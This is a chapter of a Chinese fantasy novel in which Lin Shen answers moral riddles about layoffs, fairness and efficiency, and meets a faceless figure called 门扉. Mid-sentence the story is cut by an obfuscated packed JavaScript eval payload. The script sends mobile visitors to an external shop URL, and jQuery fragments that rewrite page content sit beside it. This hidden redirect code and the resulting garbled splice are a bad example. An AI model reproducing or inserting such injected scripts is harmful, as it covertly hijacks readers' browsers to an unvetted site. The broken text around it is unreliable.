楼梯的尽头是一扇门。不是冥渊的门，而是一间办公室的门。木制的，门把手上挂着一块牌子：「首席执行官」。
林深推开门。
办公室里坐着一个人——不是真人，是一座蜡像。蜡像穿西装打领带，坐在办公桌后面，手里拿着一支钢笔，面前堆着一摞文件。蜡像的脸是林深的脸。不是他的倒影，而是他在某个平行世界里可能成为的那种人——CEO，成功人士，社会的齿轮。
蜡像开口了，声音是门扉的，但语速快了三倍，像是被按下了快进键。
“第八个问题。你是公司的CEO。公司要裁员20%才能活下去。你面前有两组员工：A组是年轻员工，刚毕业没几年，刚买房结婚，背着房贷，没有积蓄。B组是老员工，在公司干了二十多年，还有五年退休，工龄工资高，业务能力落后。你裁哪一组？”
林深坐在蜡像对面的椅子上。椅子是真皮的，坐着很舒服，但他没有靠下去。他坐在椅子的边缘，身体前倾。
“你在引导我选B组。”林深说。“因为你强调了A组的难处——房贷、结婚、没有积蓄。你在打情感牌。但B组也有难处——五十多岁的人被裁，很难再就业；还有五年退休，退休金会受影响；二十多年的工龄被清零，对企业忠诚没有回报。你不说这些，因为你想让我选A组。”
蜡像的笔尖在纸上顿了顿。“那你怎么选？”
林深想了想。
“我选C组。我自己。”
蜡像的笔停了。
“裁掉CEO。公司的成本结构中，CEO的薪酬占比最高。裁掉我，公司可以保留所有员工。没有人会失去房子，没有人会失去退休金。我不重要。”
蜡像沉默了很久。久到林深以为它坏掉了。
然后它笑了。蜡做的嘴唇向上弯起，露出蜡做的牙齿。笑容是僵硬的、不自然的，但它的意思是真实的——它在笑，因为林深给出了一个它没有想到的答案。
“你选了‘无’。”蜡像说。“你不是选A或B，你是选‘不存在’。这是最彻底的公平。也是最没有效率的公平。因为裁掉CEO，公司会失去领导者，可能会慢慢死掉。你用自己的死，换所有人的活——但如果公司死了，所有人还是会死。”
林深站起来。“那公司可以找到新的CEO。员工找不到新的家。”
他转身离开办公室。身后的蜡像开始融化，蜡液从桌面上流下来，滴在地板上，凝固成一滩形状不规则的、像泪痕一样的东西。
门外的走廊里，苏眠在等他。她的耳后还别着那朵茉莉花，花瓣已经枯萎了，但她没有摘。
“你选了裁自己？”苏眠问。
“你听到了？”
“整条走廊都能听到。你的声音在墙壁里回荡。‘我不重要’，这句话重复了七遍。墙壁记住了。”
林深没有回应。
他们继续走。走廊很长，两侧是透明的玻璃墙，透过玻璃能看到外面——不是风景，而是冥渊的内部结构。巨大的、像钟表齿轮一样的结构在缓慢旋转，齿轮的齿缝中塞满了东西：书、尸体、扑克牌、蜡像、镜子、沙漏、婴儿的奶瓶、毛绒兔子。
冥渊是一个活物。它的内脏就是这些东西。
齿轮转动的节奏和他们的心跳同步。不是他们的心跳在跟随齿轮，而是齿轮在跟随他们的心跳——冥渊在调整自己的节奏，以适应他们的存在。
“它在消化我们。”苏眠说。“我们把一部分自己留在了第一冥渊，它把一部分自己植入了我们。我们互换了一些东西。”
林深看着手腕上的八个印记。它们在他的皮肤下缓慢游动，像鱼在池塘里。每游一圈，印记的边界就模糊一点，融入周围的皮肤，变成更大的一块痕迹。
“它在合并。”林深说。“八个印记在变成一个。第一冥渊的印记，第二冥渊的印记，杰克的扑克牌，门扉的眼泪，回声的沙漏，林然的纸条，苏眠的茉莉花，殷烬的微笑——全都要融在一起。”
苏眠握住他的手。她的手不再是在电梯里塞耳机给他时的温热，而是和林深一样凉了。
“你在被冥渊同化。”她说。“你的温度在降，你的颜色在褪，你的表情在减少。你在变成门扉。”
林深看着她的眼睛。灰色的眼睛，金色的边缘，瞳孔深处有一个微小的、旋转的漩涡。漩涡里有一个人在走楼梯，向上，向下，向上，向下。
是林然。
她在他的瞳孔里走着，永远走不到尽头。
“也许变成门扉不是坏事。”林深说。“门扉是唯一一个在第一冥渊结束后没有被回收的存在。他还在那里，在书架迷宫的最深处，问着问题，等着答案。他没有‘渡过’冥渊，但他也没有‘死’。他只是存在。以他自己的方式。”
苏眠摇头。“那不是活着。”
“你怎么定义活着？”林深反问。“心跳？呼吸？记忆？感情？门扉有感情，但他没有脸。感情不需要脸。心跳不需要脸。活着也不需要。”
苏眠没有反驳。她松开他的手，从口袋里掏出那朵枯萎的茉莉花，放在他的手心里。
“把这个带给门扉。”她说。“告诉他，有一个人在外面记得他。不需要脸，不需要名字，只需要一朵花。”
林深握紧花。花瓣碎在他的掌心，变成粉末，粉末被皮肤吸收，变成了他的一部分。他的手腕上，第九个印记出现了——一朵茉莉花，白色的，微小的，在灰色的皮肤上绽放。
第八个问题结束。
第九个问题开始。
没有休息，没有过渡，只是“切换”——走廊的墙壁消失了，他们站在一座桥的中央。桥是石头的，很窄，只容一人通过。桥下是黑色的、没有光的水。水面上漂浮着人脸——不是人的脸，而是面具。白色的、陶瓷的面具，每一个面具上都刻着一个词：「公平」、「效率」、「忠诚」、「背叛」、「爱」、「恐惧」、「记忆」、「遗忘」。
林深捡起「公平」和「效率」，把它们并排放在桥的栏杆上。两张面具面对面，像在吵架。
“‘公平’说，每个人都应该得到同样的东西。‘效率’说，每个人应该得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653709|206899||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到他们应得的东西。公平是算术，效率是几何。算术平等，几何不平等。但哪一个更接近‘正义’？”
他自问自答。
“都不是。正义不是分配，是关系。是人对人的态度。公平和效率都是分配逻辑，不是关系逻辑。在关系里，没有‘公平’，只有‘足够’。你给一个人的东西，不是因为他‘应得’，而是因为‘你需要给他’。不需要计算，只需要看见。”
他把两张面具扔进桥下的水里。面具在水面上旋转了几圈，然后沉下去了。
水面恢复了平静。但水面上的人脸——那些白色的陶瓷面具——全部碎掉了。碎片漂在水上，像一场黑白的雪。
林深走过桥。苏眠走在后面。
桥的对岸，站着一个老人。
门扉。
他有脸了。不是完整的五官，而是模糊的、像素描草稿一样淡淡的轮廓。眼睛的位置有两个浅浅的凹痕，鼻子的位置有一条微微凸起的棱线，嘴巴的位置有一道不明显的弧线。他在“生长”。他在从“门扉”变成“□□”。
“你给了我一张脸。”门扉说。他的声音不再是从整个面部发出，而是从嘴巴的弧线中发出的——第一次，他的声音有了方向。“你扔掉了公平和效率，把它们沉进了水里。那是我困住自己的两个锚。没有它们，我就可以漂走了。”
林深看着门扉那张正在生长中的脸。“漂到哪里去？”
“不知道。但‘不知道’比‘知道但不对’要好。”
门扉伸出手——那只干枯的、指甲脱落的手。林深握住了它。
这一次，门扉的手是温的。
林深的手也是温的。不是他的体温回来了，而是门扉的温度传给了他。两个同样冷的人，握在一起，互相暖了一点点。
“第九个问题结束了。”门扉松开手。“第十个问题，在你的心里。不用问我。问你自己。”
他后退了一步，退进了桥下的黑暗里。黑暗包裹了他，但不是吞噬，而是“接住”——像一个母亲接住从高处跳下的孩子。
门扉消失了。但桥下的水面不再漂浮面具。水面变成了镜子，镜子里是林深自己的脸。不是现在的脸，而是十六岁的脸。年轻、紧张、眉头紧锁。
十六岁的林深看着二十七岁的林深，说了一句话：
“哥，你什么时候学会笑了？我都忘了你笑起来是什么样子。”
林深摸了摸自己的脸。嘴角是平的。他已经很久没有笑过了。不是不想笑，而是忘了怎么笑。他的面部肌肉太久没有使用“笑”这个动作，它们萎缩了，僵硬了，不再听话了。
但他对面的十六岁林深，嘴角是向上弯的。他在笑。不是因为他开心，而是因为他年轻。
年轻的时候，笑不需要理由。老了以后，笑需要理由，而所有的理由都不够充分。
“我会学的。”林深说。
十六岁的他点了点头，然后从镜子里消失了。
镜子碎了。碎片飞向空中，重新组合成一个新的形状——一扇门。
第十道门。